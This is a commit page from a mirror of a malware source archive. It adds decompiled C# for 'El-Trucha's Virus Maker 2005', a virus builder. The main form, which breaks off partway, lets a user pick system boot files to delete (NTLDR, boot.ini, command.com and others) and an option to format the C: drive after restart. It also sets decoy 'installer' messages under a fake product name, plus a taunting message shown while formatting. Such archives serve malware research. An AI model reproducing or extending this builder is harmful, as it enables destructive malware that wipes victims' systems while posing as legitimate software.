mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-22 02:39:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+128
@@ -0,0 +1,128 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: El_Trucha_s_Virus_Maker_2005.About
|
||||
// Assembly: "El-Trucha's Virus Maker 2005", Version=1.0.1913.26518, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 43024C13-9626-43BD-9145-B3D934449AAC
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Constructor.Win32.Trucha.a-b3a9f9bfca0d58d23a418e9baa7aa933399c352cb80473bdc3deeee4272e88fc.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Resources;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace El_Trucha_s_Virus_Maker_2005
|
||||
{
|
||||
public class About : Form
|
||||
{
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private LinkLabel linkLabel2;
|
||||
private LinkLabel linkLabel1;
|
||||
private PictureBox pictureBox1;
|
||||
private Process ie;
|
||||
private LinkLabel linkLabel3;
|
||||
private Container components = (Container) null;
|
||||
|
||||
public About() => this.InitializeComponent();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ResourceManager resourceManager = new ResourceManager(typeof (About));
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.linkLabel2 = new LinkLabel();
|
||||
this.linkLabel1 = new LinkLabel();
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.ie = new Process();
|
||||
this.linkLabel3 = new LinkLabel();
|
||||
this.SuspendLayout();
|
||||
this.label1.Location = new Point(8, 8);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(192, 56);
|
||||
this.label1.TabIndex = 0;
|
||||
this.label1.Text = "This program was made by El-Trucha (Leonardo M. Cabrera, in case somebody who knows me in real life doesn't believe me...)";
|
||||
this.label1.TextAlign = ContentAlignment.TopCenter;
|
||||
this.label2.Location = new Point(8, 72);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(192, 80);
|
||||
this.label2.TabIndex = 1;
|
||||
this.label2.Text = "Special thanks to my friend Defcon, who helped me with beta testing this program. Thanks also to the people at The Code Project and MSDN, which helped me with the code.";
|
||||
this.label2.TextAlign = ContentAlignment.TopCenter;
|
||||
this.linkLabel2.ImeMode = ImeMode.NoControl;
|
||||
this.linkLabel2.LinkArea = new LinkArea(0, 20);
|
||||
this.linkLabel2.Location = new Point(40, 240);
|
||||
this.linkLabel2.Name = "linkLabel2";
|
||||
this.linkLabel2.Size = new Size(120, 16);
|
||||
this.linkLabel2.TabIndex = 31;
|
||||
((Label) this.linkLabel2).TabStop = true;
|
||||
this.linkLabel2.Text = "eltrucha14@gmail.com";
|
||||
this.linkLabel2.LinkClicked += new LinkLabelLinkClickedEventHandler(this.linkLabel2_LinkClicked);
|
||||
this.linkLabel1.ImeMode = ImeMode.NoControl;
|
||||
this.linkLabel1.LinkArea = new LinkArea(0, 17);
|
||||
this.linkLabel1.Location = new Point(48, 224);
|
||||
this.linkLabel1.Name = "linkLabel1";
|
||||
this.linkLabel1.Size = new Size(104, 16);
|
||||
this.linkLabel1.TabIndex = 30;
|
||||
((Label) this.linkLabel1).TabStop = true;
|
||||
this.linkLabel1.Text = "www.TruchaSoft.tk";
|
||||
this.linkLabel1.LinkClicked += new LinkLabelLinkClickedEventHandler(this.linkLabel1_LinkClicked);
|
||||
this.pictureBox1.Image = (Image) resourceManager.GetObject("pictureBox1.Image");
|
||||
this.pictureBox1.ImeMode = ImeMode.NoControl;
|
||||
this.pictureBox1.Location = new Point(32, 160);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(144, 56);
|
||||
this.pictureBox1.TabIndex = 29;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.ie.SynchronizingObject = (ISynchronizeInvoke) this;
|
||||
this.linkLabel3.Location = new Point(24, 256);
|
||||
this.linkLabel3.Name = "linkLabel3";
|
||||
this.linkLabel3.Size = new Size(160, 16);
|
||||
this.linkLabel3.TabIndex = 32;
|
||||
((Label) this.linkLabel3).TabStop = true;
|
||||
this.linkLabel3.Text = "www.freewebs.com/evilmaiden";
|
||||
this.AutoScaleBaseSize = new Size(5, 13);
|
||||
this.ClientSize = new Size(208, 280);
|
||||
this.Controls.Add((Control) this.linkLabel3);
|
||||
this.Controls.Add((Control) this.linkLabel2);
|
||||
this.Controls.Add((Control) this.linkLabel1);
|
||||
this.Controls.Add((Control) this.pictureBox1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (About);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "About ETVM05";
|
||||
this.Load += new EventHandler(this.About_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void About_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
|
||||
{
|
||||
this.ie.StartInfo.FileName = "iexplore.exe";
|
||||
this.ie.StartInfo.Arguments = "\"http://www.truchasoft.tk\"";
|
||||
this.ie.Start();
|
||||
}
|
||||
|
||||
private void linkLabel2_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
|
||||
{
|
||||
this.ie.StartInfo.FileName = "iexplore.exe";
|
||||
this.ie.StartInfo.Arguments = "\"mailto:eltrucha14@gmail.com\"";
|
||||
this.ie.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
+219
File diff suppressed because one or more lines are too long
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyKeyName("")]
|
||||
[assembly: AssemblyKeyFile("")]
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyVersion("1.0.1913.26518")]
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Constructor.Win32.Trucha.a-b3a9f9bfca0d58d23a418e9baa7aa933399c352cb80473bdc3deeee4272e88fc.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{A0E2F77E-2528-46A8-AA21-B7E0235C837F}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>El-Trucha's Virus Maker 2005</AssemblyName>
|
||||
<ApplicationVersion>1.0.1913.26518</ApplicationVersion>
|
||||
<RootNamespace>El_Trucha_s_Virus_Maker_2005</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="About.cs" />
|
||||
<Compile Include="ETVM05.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="About.resx" />
|
||||
<EmbeddedResource Include="ETVM05.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "El-Trucha's Virus Maker 2005", "Constructor.Win32.Trucha.a-b3a9f9bfca0d58d23a418e9baa7aa933399c352cb80473bdc3deeee4272e88fc.csproj", "{A0E2F77E-2528-46A8-AA21-B7E0235C837F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{A0E2F77E-2528-46A8-AA21-B7E0235C837F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{A0E2F77E-2528-46A8-AA21-B7E0235C837F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{A0E2F77E-2528-46A8-AA21-B7E0235C837F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{A0E2F77E-2528-46A8-AA21-B7E0235C837F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+795
@@ -0,0 +1,795 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: El_Trucha_s_Virus_Maker_2005.ETVM05
|
||||
// Assembly: "El-Trucha's Virus Maker 2005", Version=1.0.1913.26518, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 43024C13-9626-43BD-9145-B3D934449AAC
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Constructor.Win32.Trucha.a-b3a9f9bfca0d58d23a418e9baa7aa933399c352cb80473bdc3deeee4272e88fc.exe
|
||||
|
||||
using Microsoft.CSharp;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Resources;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace El_Trucha_s_Virus_Maker_2005
|
||||
{
|
||||
public class ETVM05 : Form
|
||||
{
|
||||
private GroupBox groupBox2;
|
||||
private CheckBox autoexec_bat;
|
||||
private CheckBox command_com;
|
||||
private CheckBox win_ini;
|
||||
private CheckBox win_com;
|
||||
private CheckBox boot_ini;
|
||||
private CheckBox ntldr;
|
||||
private StreamWriter myvirus;
|
||||
private GroupBox groupBox3;
|
||||
private CheckBox far;
|
||||
private CheckBox farMsgSelect;
|
||||
private TextBox farMsg;
|
||||
private Button makeVirus;
|
||||
private TextBox endMsg;
|
||||
private TextBox welMsg;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private TabControl tabControl2;
|
||||
private TabPage tabPage3;
|
||||
private TabPage tabPage4;
|
||||
private TextBox welMsgText;
|
||||
private TextBox welMsgTitle;
|
||||
private RadioButton wmAst;
|
||||
private RadioButton wmQuest;
|
||||
private RadioButton wmError;
|
||||
private RadioButton wmInfo;
|
||||
private TextBox emText;
|
||||
private Label label3;
|
||||
private TextBox emTitle;
|
||||
private Label label4;
|
||||
private RadioButton emAst;
|
||||
private RadioButton emQuest;
|
||||
private RadioButton emError;
|
||||
private RadioButton emInfo;
|
||||
private TabControl msgType;
|
||||
private TabPage dosCons;
|
||||
private TabPage msgBox;
|
||||
private CheckBox useMsgBox;
|
||||
private CheckBox useDosCons;
|
||||
private Label label5;
|
||||
private Label label6;
|
||||
private string wmIcon;
|
||||
private string emIcon;
|
||||
private Label stageLabel;
|
||||
private ProgressBar stageProgress;
|
||||
private Process compiler;
|
||||
private HelpProvider help;
|
||||
private Button about;
|
||||
private string statusForLabel;
|
||||
private Label label7;
|
||||
private TextBox fileIcon;
|
||||
private Container components = (Container) null;
|
||||
|
||||
public ETVM05() => this.InitializeComponent();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ResourceManager resourceManager = new ResourceManager(typeof (ETVM05));
|
||||
this.groupBox2 = new GroupBox();
|
||||
this.ntldr = new CheckBox();
|
||||
this.boot_ini = new CheckBox();
|
||||
this.win_com = new CheckBox();
|
||||
this.win_ini = new CheckBox();
|
||||
this.command_com = new CheckBox();
|
||||
this.autoexec_bat = new CheckBox();
|
||||
this.makeVirus = new Button();
|
||||
this.groupBox3 = new GroupBox();
|
||||
this.farMsg = new TextBox();
|
||||
this.farMsgSelect = new CheckBox();
|
||||
this.far = new CheckBox();
|
||||
this.msgType = new TabControl();
|
||||
this.dosCons = new TabPage();
|
||||
this.label6 = new Label();
|
||||
this.label5 = new Label();
|
||||
this.useDosCons = new CheckBox();
|
||||
this.endMsg = new TextBox();
|
||||
this.welMsg = new TextBox();
|
||||
this.msgBox = new TabPage();
|
||||
this.useMsgBox = new CheckBox();
|
||||
this.tabControl2 = new TabControl();
|
||||
this.tabPage3 = new TabPage();
|
||||
this.welMsgText = new TextBox();
|
||||
this.label2 = new Label();
|
||||
this.welMsgTitle = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.wmAst = new RadioButton();
|
||||
this.wmQuest = new RadioButton();
|
||||
this.wmError = new RadioButton();
|
||||
this.wmInfo = new RadioButton();
|
||||
this.tabPage4 = new TabPage();
|
||||
this.emInfo = new RadioButton();
|
||||
this.emText = new TextBox();
|
||||
this.label3 = new Label();
|
||||
this.emTitle = new TextBox();
|
||||
this.label4 = new Label();
|
||||
this.emAst = new RadioButton();
|
||||
this.emQuest = new RadioButton();
|
||||
this.emError = new RadioButton();
|
||||
this.stageLabel = new Label();
|
||||
this.stageProgress = new ProgressBar();
|
||||
this.compiler = new Process();
|
||||
this.help = new HelpProvider();
|
||||
this.fileIcon = new TextBox();
|
||||
this.about = new Button();
|
||||
this.label7 = new Label();
|
||||
this.groupBox2.SuspendLayout();
|
||||
this.groupBox3.SuspendLayout();
|
||||
this.msgType.SuspendLayout();
|
||||
this.dosCons.SuspendLayout();
|
||||
this.msgBox.SuspendLayout();
|
||||
this.tabControl2.SuspendLayout();
|
||||
this.tabPage3.SuspendLayout();
|
||||
this.tabPage4.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.groupBox2.Controls.Add((Control) this.ntldr);
|
||||
this.groupBox2.Controls.Add((Control) this.boot_ini);
|
||||
this.groupBox2.Controls.Add((Control) this.win_com);
|
||||
this.groupBox2.Controls.Add((Control) this.win_ini);
|
||||
this.groupBox2.Controls.Add((Control) this.command_com);
|
||||
this.groupBox2.Controls.Add((Control) this.autoexec_bat);
|
||||
this.groupBox2.FlatStyle = FlatStyle.System;
|
||||
this.help.SetHelpString((Control) this.groupBox2, "Select all the files you want to delete.");
|
||||
this.groupBox2.Location = new Point(216, 8);
|
||||
this.groupBox2.Name = "groupBox2";
|
||||
this.help.SetShowHelp((Control) this.groupBox2, true);
|
||||
this.groupBox2.Size = new Size(120, 120);
|
||||
this.groupBox2.TabIndex = 1;
|
||||
this.groupBox2.TabStop = false;
|
||||
this.groupBox2.Text = "Files to Delete";
|
||||
this.ntldr.FlatStyle = FlatStyle.System;
|
||||
this.ntldr.ImeMode = ImeMode.NoControl;
|
||||
this.ntldr.Location = new Point(8, 96);
|
||||
this.ntldr.Name = "ntldr";
|
||||
this.ntldr.Size = new Size(72, 16);
|
||||
this.ntldr.TabIndex = 18;
|
||||
this.ntldr.Text = "NTLDR";
|
||||
this.boot_ini.FlatStyle = FlatStyle.System;
|
||||
this.boot_ini.ImeMode = ImeMode.NoControl;
|
||||
this.boot_ini.Location = new Point(8, 80);
|
||||
this.boot_ini.Name = "boot_ini";
|
||||
this.boot_ini.Size = new Size(72, 16);
|
||||
this.boot_ini.TabIndex = 17;
|
||||
this.boot_ini.Text = "boot.ini";
|
||||
this.win_com.FlatStyle = FlatStyle.System;
|
||||
this.win_com.ImeMode = ImeMode.NoControl;
|
||||
this.win_com.Location = new Point(8, 64);
|
||||
this.win_com.Name = "win_com";
|
||||
this.win_com.Size = new Size(72, 16);
|
||||
this.win_com.TabIndex = 16;
|
||||
this.win_com.Text = "Win.com";
|
||||
this.win_ini.FlatStyle = FlatStyle.System;
|
||||
this.win_ini.ImeMode = ImeMode.NoControl;
|
||||
this.win_ini.Location = new Point(8, 48);
|
||||
this.win_ini.Name = "win_ini";
|
||||
this.win_ini.Size = new Size(64, 16);
|
||||
this.win_ini.TabIndex = 15;
|
||||
this.win_ini.Text = "Win.ini";
|
||||
this.command_com.FlatStyle = FlatStyle.System;
|
||||
this.command_com.ImeMode = ImeMode.NoControl;
|
||||
this.command_com.Location = new Point(8, 32);
|
||||
this.command_com.Name = "command_com";
|
||||
this.command_com.Size = new Size(104, 16);
|
||||
this.command_com.TabIndex = 14;
|
||||
this.command_com.Text = "Command.com";
|
||||
this.autoexec_bat.FlatStyle = FlatStyle.System;
|
||||
this.autoexec_bat.ImeMode = ImeMode.NoControl;
|
||||
this.autoexec_bat.Location = new Point(8, 16);
|
||||
this.autoexec_bat.Name = "autoexec_bat";
|
||||
this.autoexec_bat.Size = new Size(96, 16);
|
||||
this.autoexec_bat.TabIndex = 13;
|
||||
this.autoexec_bat.Text = "Autoexec.bat";
|
||||
this.makeVirus.FlatStyle = FlatStyle.System;
|
||||
this.makeVirus.Font = new Font("Papyrus", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.help.SetHelpString((Control) this.makeVirus, "Make the virus.");
|
||||
this.makeVirus.ImeMode = ImeMode.NoControl;
|
||||
this.makeVirus.Location = new Point(216, 160);
|
||||
this.makeVirus.Name = "makeVirus";
|
||||
this.help.SetShowHelp((Control) this.makeVirus, true);
|
||||
this.makeVirus.Size = new Size(120, 48);
|
||||
this.makeVirus.TabIndex = 30;
|
||||
this.makeVirus.Text = "Be mean,\nMake Virus!!";
|
||||
this.makeVirus.Click += new EventHandler(this.makeVirus_Click);
|
||||
this.groupBox3.Controls.Add((Control) this.farMsg);
|
||||
this.groupBox3.Controls.Add((Control) this.farMsgSelect);
|
||||
this.groupBox3.Controls.Add((Control) this.far);
|
||||
this.groupBox3.Cursor = Cursors.Default;
|
||||
this.groupBox3.FlatStyle = FlatStyle.System;
|
||||
this.help.SetHelpString((Control) this.groupBox3, "Options for reformatting hard drive.");
|
||||
this.groupBox3.Location = new Point(344, 8);
|
||||
this.groupBox3.Name = "groupBox3";
|
||||
this.help.SetShowHelp((Control) this.groupBox3, true);
|
||||
this.groupBox3.Size = new Size(144, 96);
|
||||
this.groupBox3.TabIndex = 18;
|
||||
this.groupBox3.TabStop = false;
|
||||
this.groupBox3.Text = "Miscelaneous";
|
||||
this.farMsg.Enabled = false;
|
||||
this.help.SetHelpString((Control) this.farMsg, "If you checked the above checkbox, then this message will be shown while it formats.");
|
||||
this.farMsg.Location = new Point(8, 64);
|
||||
this.farMsg.Name = "farMsg";
|
||||
this.help.SetShowHelp((Control) this.farMsg, true);
|
||||
this.farMsg.Size = new Size(128, 20);
|
||||
this.farMsg.TabIndex = 21;
|
||||
this.farMsg.Text = "I'm formatting your PC now...hope you don't mess with the wrong people next time...hehe...";
|
||||
this.farMsgSelect.Enabled = false;
|
||||
this.farMsgSelect.FlatStyle = FlatStyle.System;
|
||||
this.help.SetHelpString((Control) this.farMsgSelect, "If you checked the above checkbox, then this message will be shown while it formats.");
|
||||
this.farMsgSelect.ImeMode = ImeMode.NoControl;
|
||||
this.farMsgSelect.Location = new Point(8, 48);
|
||||
this.farMsgSelect.Name = "farMsgSelect";
|
||||
this.help.SetShowHelp((Control) this.farMsgSelect, true);
|
||||
this.farMsgSelect.Size = new Size(96, 16);
|
||||
this.farMsgSelect.TabIndex = 20;
|
||||
this.farMsgSelect.Text = "Message";
|
||||
this.farMsgSelect.CheckedChanged += new EventHandler(this.farMsgSelect_CheckedChanged);
|
||||
this.far.FlatStyle = FlatStyle.System;
|
||||
this.help.SetHelpString((Control) this.far, "Select this if you want to reformat the C: drive after restart.");
|
||||
this.far.ImeMode = ImeMode.NoControl;
|
||||
this.far.Location = new Point(8, 16);
|
||||
this.far.Name = "far";
|
||||
this.help.SetShowHelp((Control) this.far, true);
|
||||
this.far.Size = new Size(120, 32);
|
||||
this.far.TabIndex = 19;
|
||||
this.far.Text = "Format C: drive after restart";
|
||||
this.far.CheckedChanged += new EventHandler(this.far_CheckedChanged);
|
||||
this.msgType.Controls.Add((Control) this.dosCons);
|
||||
this.msgType.Controls.Add((Control) this.msgBox);
|
||||
this.help.SetHelpString((Control) this.msgType, "Select which method you want for messages.");
|
||||
this.msgType.ItemSize = new Size(76, 18);
|
||||
this.msgType.Location = new Point(8, 8);
|
||||
this.msgType.Name = "msgType";
|
||||
this.msgType.SelectedIndex = 0;
|
||||
this.help.SetShowHelp((Control) this.msgType, true);
|
||||
this.msgType.Size = new Size(200, 200);
|
||||
this.msgType.TabIndex = 1;
|
||||
this.dosCons.Controls.Add((Control) this.label6);
|
||||
this.dosCons.Controls.Add((Control) this.label5);
|
||||
this.dosCons.Controls.Add((Control) this.useDosCons);
|
||||
this.dosCons.Controls.Add((Control) this.endMsg);
|
||||
this.dosCons.Controls.Add((Control) this.welMsg);
|
||||
((Control) this.dosCons).Location = new Point(4, 22);
|
||||
this.dosCons.Name = "dosCons";
|
||||
this.dosCons.Size = new Size(192, 174);
|
||||
this.dosCons.TabIndex = 0;
|
||||
this.dosCons.Text = "DOS Console";
|
||||
this.label6.ImeMode = ImeMode.NoControl;
|
||||
this.label6.Location = new Point(8, 80);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new Size(56, 16);
|
||||
this.label6.TabIndex = 10;
|
||||
this.label6.Text = "Ending:";
|
||||
this.label5.ImeMode = ImeMode.NoControl;
|
||||
this.label5.Location = new Point(8, 32);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new Size(56, 16);
|
||||
this.label5.TabIndex = 9;
|
||||
this.label5.Text = "Welcome:";
|
||||
this.useDosCons.Checked = true;
|
||||
this.useDosCons.CheckState = CheckState.Checked;
|
||||
this.useDosCons.FlatStyle = FlatStyle.System;
|
||||
this.help.SetHelpString((Control) this.useDosCons, "If this is checked, then a two DOS windows with messages will be shown at the beginning and end of the program.");
|
||||
this.useDosCons.ImeMode = ImeMode.NoControl;
|
||||
this.useDosCons.Location = new Point(8, 8);
|
||||
this.useDosCons.Name = "useDosCons";
|
||||
this.help.SetShowHelp((Control) this.useDosCons, true);
|
||||
this.useDosCons.Size = new Size(120, 16);
|
||||
this.useDosCons.TabIndex = 2;
|
||||
this.useDosCons.Text = "Use DOS Console";
|
||||
this.useDosCons.CheckedChanged += new EventHandler(this.useDosCons_CheckedChanged);
|
||||
this.help.SetHelpString((Control) this.endMsg, "If you select the above checkbox, then this will be shown on a DOS console window at the end of the program.");
|
||||
this.endMsg.Location = new Point(8, 96);
|
||||
this.endMsg.Name = "endMsg";
|
||||
this.help.SetShowHelp((Control) this.endMsg, true);
|
||||
this.endMsg.Size = new Size(176, 20);
|
||||
this.endMsg.TabIndex = 4;
|
||||
this.endMsg.Text = "Your computer's gonna die now!!";
|
||||
this.help.SetHelpString((Control) this.welMsg, "If you select the above checkbox, then this will be shown on a DOS console window at the beginning of the program.");
|
||||
this.welMsg.Location = new Point(8, 48);
|
||||
this.welMsg.Name = "welMsg";
|
||||
this.help.SetShowHelp((Control) this.welMsg, true);
|
||||
this.welMsg.Size = new Size(176, 20);
|
||||
this.welMsg.TabIndex = 3;
|
||||
this.welMsg.Text = "Welcome to the installer!";
|
||||
this.msgBox.Controls.Add((Control) this.useMsgBox);
|
||||
this.msgBox.Controls.Add((Control) this.tabControl2);
|
||||
((Control) this.msgBox).Location = new Point(4, 22);
|
||||
this.msgBox.Name = "msgBox";
|
||||
this.msgBox.Size = new Size(192, 174);
|
||||
this.msgBox.TabIndex = 1;
|
||||
this.msgBox.Text = "Message Box";
|
||||
this.useMsgBox.FlatStyle = FlatStyle.System;
|
||||
this.help.SetHelpString((Control) this.useMsgBox, "If this is checked, then a two message boxes with messages will be shown at the beginning and end of the program.");
|
||||
this.useMsgBox.ImeMode = ImeMode.NoControl;
|
||||
this.useMsgBox.Location = new Point(8, 8);
|
||||
this.useMsgBox.Name = "useMsgBox";
|
||||
this.help.SetShowHelp((Control) this.useMsgBox, true);
|
||||
this.useMsgBox.Size = new Size(120, 16);
|
||||
this.useMsgBox.TabIndex = 5;
|
||||
this.useMsgBox.Text = "Use Message Box";
|
||||
this.useMsgBox.CheckedChanged += new EventHandler(this.useMsgBox_CheckedChanged);
|
||||
this.tabControl2.Controls.Add((Control) this.tabPage3);
|
||||
this.tabControl2.Controls.Add((Control) this.tabPage4);
|
||||
this.help.SetHelpString((Control) this.tabControl2, "Select a tab for the properties of the message.");
|
||||
this.tabControl2.ItemSize = new Size(57, 18);
|
||||
this.tabControl2.Location = new Point(8, 32);
|
||||
this.tabControl2.Name = "tabControl2";
|
||||
this.tabControl2.SelectedIndex = 0;
|
||||
this.help.SetShowHelp((Control) this.tabControl2, true);
|
||||
this.tabControl2.Size = new Size(176, 128);
|
||||
this.tabControl2.TabIndex = 6;
|
||||
this.tabPage3.Controls.Add((Control) this.welMsgText);
|
||||
this.tabPage3.Controls.Add((Control) this.label2);
|
||||
this.tabPage3.Controls.Add((Control) this.welMsgTitle);
|
||||
this.tabPage3.Controls.Add((Control) this.label1);
|
||||
this.tabPage3.Controls.Add((Control) this.wmAst);
|
||||
this.tabPage3.Controls.Add((Control) this.wmQuest);
|
||||
this.tabPage3.Controls.Add((Control) this.wmError);
|
||||
this.tabPage3.Controls.Add((Control) this.wmInfo);
|
||||
((Control) this.tabPage3).Location = new Point(4, 22);
|
||||
this.tabPage3.Name = "tabPage3";
|
||||
this.tabPage3.Size = new Size(168, 102);
|
||||
this.tabPage3.TabIndex = 0;
|
||||
this.tabPage3.Text = "Welcome";
|
||||
this.help.SetHelpString((Control) this.welMsgText, "If you select the above checkbox, then this message will be shown on a message box at the beginning of the program.");
|
||||
this.welMsgText.Location = new Point(8, 8);
|
||||
this.welMsgText.Name = "welMsgText";
|
||||
this.help.SetShowHelp((Control) this.welMsgText, true);
|
||||
this.welMsgText.Size = new Size(152, 20);
|
||||
this.welMsgText.TabIndex = 7;
|
||||
this.welMsgText.Text = "Welcome to the installer!";
|
||||
this.label2.ImeMode = ImeMode.NoControl;
|
||||
this.label2.Location = new Point(8, 32);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(32, 16);
|
||||
this.label2.TabIndex = 26;
|
||||
this.label2.Text = "Title:";
|
||||
this.help.SetHelpString((Control) this.welMsgTitle, "If you select the above checkbox, then this message will be shown on a message box at the beginning of the program.");
|
||||
this.welMsgTitle.Location = new Point(40, 32);
|
||||
this.welMsgTitle.Name = "welMsgTitle";
|
||||
this.help.SetShowHelp((Control) this.welMsgTitle, true);
|
||||
this.welMsgTitle.Size = new Size(120, 20);
|
||||
this.welMsgTitle.TabIndex = 8;
|
||||
this.welMsgTitle.Text = "FileKeyProtector 1.9";
|
||||
this.label1.ImeMode = ImeMode.NoControl;
|
||||
this.label1.Location = new Point(8, 56);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(32, 16);
|
||||
this.label1.TabIndex = 28;
|
||||
this.label1.Text = "Icon:";
|
||||
this.help.SetHelpString((Control) this.wmAst, "Select an icon for the message box.");
|
||||
this.wmAst.Image = (Image) resourceManager.GetObject("wmAst.Image");
|
||||
this.wmAst.ImeMode = ImeMode.NoControl;
|
||||
this.wmAst.Location = new Point(40, 56);
|
||||
this.wmAst.Name = "wmAst";
|
||||
this.help.SetShowHelp((Control) this.wmAst, true);
|
||||
this.wmAst.Size = new Size(32, 24);
|
||||
this.wmAst.TabIndex = 9;
|
||||
this.help.SetHelpString((Control) this.wmQuest, "Select an icon for the message box.");
|
||||
this.wmQuest.Image = (Image) resourceManager.GetObject("wmQuest.Image");
|
||||
this.wmQuest.ImeMode = ImeMode.NoControl;
|
||||
this.wmQuest.Location = new Point(72, 56);
|
||||
